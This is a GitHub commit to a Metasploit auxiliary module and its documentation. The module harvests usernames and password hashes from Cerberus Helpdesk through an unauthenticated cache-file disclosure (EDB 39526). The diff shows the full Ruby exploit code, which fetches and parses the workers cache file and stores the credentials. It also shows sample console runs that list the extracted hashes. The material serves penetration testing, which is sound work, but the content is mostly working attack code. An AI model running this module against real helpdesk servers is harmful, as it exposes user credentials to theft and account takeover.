Skip to content

Commit cc9326d

Browse files
committed
bcoles updates and table printing
1 parent c9e000e commit cc9326d

File tree

2 files changed

+75
-43
lines changed

2 files changed

+75
-43
lines changed

documentation/modules/auxiliary/gather/cerberus_helpdesk_hash_disclosure.md

Lines changed: 34 additions & 13 deletions
Original file line numberDiff line numberDiff line change
@@ -20,10 +20,10 @@ Version 5.4.4 is available on [exploit-db.com](https://www.exploit-db.com/apps/8
2020

2121
1. Start msfconsole
2222
2. ```use auxiliary/gather/cerberus_helpdesk_hash_disclosure```
23-
3. ```set rhosts```
23+
3. ```set rhosts [rhosts]```
2424
4. ```run```
2525

26-
## Demo
26+
## Scenarios
2727

2828
### 4.2.3 using zend (not verbose)
2929

@@ -33,29 +33,50 @@ Version 5.4.4 is available on [exploit-db.com](https://www.exploit-db.com/apps/8
3333
rhosts => 1.1.1.1
3434
msf auxiliary(cerberus_helpdesk_hash_disclosure) > run
3535
36-
[-] Invalid response received for /storage/tmp/devblocks_cache---ch_workers
37-
[+] admin:aaa34a6111abf0bd1b1c4d7cd7ebb37b
38-
[+] example:112302c209fe8d73f502c132a3da2b1c
39-
[+] foobar:0d108d09e5bbe40aade3de5c81e9e9c7
36+
[-] Invalid response received for 1.1.1.1 for /storage/tmp/devblocks_cache---ch_workers
37+
[+] Found: admin:aaa34a6111abf0bd1b1c4d7cd7ebb37b
38+
[+] Found: example:112302c209fe8d73f502c132a3da2b1c
39+
[+] Found: foobar:0d108d09e5bbe40aade3de5c81e9e9c7
40+
41+
Cerberus Helpdesk User Credentials
42+
==================================
43+
44+
Username Password Hash
45+
-------- -------------
46+
admin aaa34a6111abf0bd1b1c4d7cd7ebb37b
47+
example 112302c209fe8d73f502c132a3da2b1c
48+
foobar 0d108d09e5bbe40aade3de5c81e9e9c7
49+
50+
[*] Scanned 1 of 1 hosts (100% complete)
51+
[*] Auxiliary module execution completed
4052
```
4153

4254
### 5.4.4 using devblocks
4355

4456
```
4557
msf > use auxiliary/gather/cerberus_helpdesk_hash_disclosure
46-
rhost => 192.168.2.45
4758
msf auxiliary(cerberus_helpdesk_hash_disclosure) > set rhosts 192.168.2.45
4859
rhosts => 192.168.2.45
49-
msf auxiliary(cerberus_helpdesk_hash_disclosure) > set uri /cerb5/
50-
uri => /cerb5/
60+
msf auxiliary(cerberus_helpdesk_hash_disclosure) > set targeturi /cerb5/
61+
targeturi => /cerb5/
5162
msf auxiliary(cerberus_helpdesk_hash_disclosure) > set verbose true
5263
verbose => true
5364
msf auxiliary(cerberus_helpdesk_hash_disclosure) > run
5465
5566
[*] Attempting to load data from /cerb5/storage/tmp/devblocks_cache---ch_workers
56-
[+] [email protected]:37b51d194a7513e45b56f6524f2d51f2
57-
[+] [email protected]:acbd18db4cc2f85cedef654fccc4a4d8
58-
[+] [email protected]:18126e7bd3f84b3f3e4df094def5b7de
67+
[+] Found: [email protected]:37b51d194a7513e45b56f6524f2d51f2
68+
[+] Found: [email protected]:acbd18db4cc2f85cedef654fccc4a4d8
69+
[+] Found: [email protected]:18126e7bd3f84b3f3e4df094def5b7de
70+
71+
Cerberus Helpdesk User Credentials
72+
==================================
73+
74+
Username Password Hash
75+
-------- -------------
76+
[email protected] 37b51d194a7513e45b56f6524f2d51f2
77+
[email protected] acbd18db4cc2f85cedef654fccc4a4d8
78+
[email protected] 18126e7bd3f84b3f3e4df094def5b7de
79+
5980
[*] Scanned 1 of 1 hosts (100% complete)
6081
[*] Auxiliary module execution completed
61-
```
82+
```

modules/auxiliary/gather/cerberus_helpdesk_hash_disclosure.rb

Lines changed: 41 additions & 30 deletions
Original file line numberDiff line numberDiff line change
@@ -14,58 +14,69 @@ def initialize
1414
'Name' => 'Cerberus Helpdesk User Hash Disclosure',
1515
'Description' => %q{
1616
This module extracts usernames and password hashes from the Cerberus Helpdesk
17-
through an unauthenticated accss to a workers file.
17+
through an unauthenticated access to a workers file.
1818
Verified on Version 4.2.3 Stable (Build 925) and 5.4.4
1919
},
2020
'References' =>
2121
[
2222
[ 'EDB', '39526' ]
2323
],
24-
'Author' => [
25-
'asdizzle_', # discovery
26-
'h00die', # module
24+
'Author' =>
25+
[
26+
'asdizzle_', # discovery
27+
'h00die', # module
2728
],
28-
'License' => MSF_LICENSE
29+
'License' => MSF_LICENSE,
30+
'DisclosureDate' => 'Mar 7 2016'
2931
)
3032

3133
register_options(
3234
[
33-
OptString.new('URI', [false, 'URL of the Cerberus Helpdesk root', '/'])
35+
OptString.new('TARGETURI', [false, 'URL of the Cerberus Helpdesk root', '/'])
3436
])
3537
end
3638

3739
def run_host(rhost)
3840
begin
3941
['devblocks', 'zend'].each do |site|
40-
url = "#{datastore['URI']}storage/tmp/#{site}_cache---ch_workers"
42+
url = normalize_uri(datastore['TARGETURI'], 'storage', 'tmp', "#{site}_cache---ch_workers")
4143
vprint_status("Attempting to load data from #{url}")
4244
res = send_request_cgi({'uri' => url})
43-
if not res
45+
if !res
4446
print_error("#{peer} Unable to connect to #{url}")
45-
else
46-
if res.body.include?('pass')
47-
# the returned object looks json-ish, but it isn't. Unsure of format, so we'll do some ugly manual parsing.
48-
# this will be a rough equivalent to sed -e 's/s:5/\n/g' | grep email | cut -d '"' -f4,8 | sed 's/"/:/g'
49-
result = res.body.split('s:5')
50-
result.each do |cred|
51-
if cred.include?('email')
52-
cred = cred.split(':')
53-
username = cred[3].tr('";', '') # remove extra characters
54-
username = username[0...-1] # also remove trailing s
55-
password_hash = cred[7].tr('";', '') # remove extra characters
56-
print_good("#{username}:#{password_hash}")
57-
store_valid_credential(
58-
user: username,
59-
private: password_hash,
60-
private_type: :nonreplayable_hash
61-
)
62-
end
63-
end
64-
break # no need to get the 2nd url
65-
else
66-
print_error("Invalid response received for #{url}")
47+
next
48+
end
49+
50+
if !res.body.include?('pass')
51+
print_error("Invalid response received for #{peer} for #{url}")
52+
next
53+
end
54+
55+
cred_table = Rex::Text::Table.new 'Header' => 'Cerberus Helpdesk User Credentials',
56+
'Indent' => 1,
57+
'Columns' => ['Username', 'Password Hash']
58+
59+
# the returned object looks json-ish, but it isn't. Unsure of format, so we'll do some ugly manual parsing.
60+
# this will be a rough equivalent to sed -e 's/s:5/\n/g' | grep email | cut -d '"' -f4,8 | sed 's/"/:/g'
61+
result = res.body.split('s:5')
62+
result.each do |cred|
63+
if cred.include?('email')
64+
cred = cred.split(':')
65+
username = cred[3].tr('";', '') # remove extra characters
66+
username = username[0...-1] # also remove trailing s
67+
password_hash = cred[7].tr('";', '') # remove extra characters
68+
print_good("Found: #{username}:#{password_hash}")
69+
store_valid_credential(
70+
user: username,
71+
private: password_hash,
72+
private_type: :nonreplayable_hash
73+
)
74+
cred_table << [username, password_hash]
6775
end
6876
end
77+
print_line
78+
print_line cred_table.to_s
79+
break
6980
end
7081

7182
rescue ::Rex::ConnectionError

0 commit comments

Comments
 (0)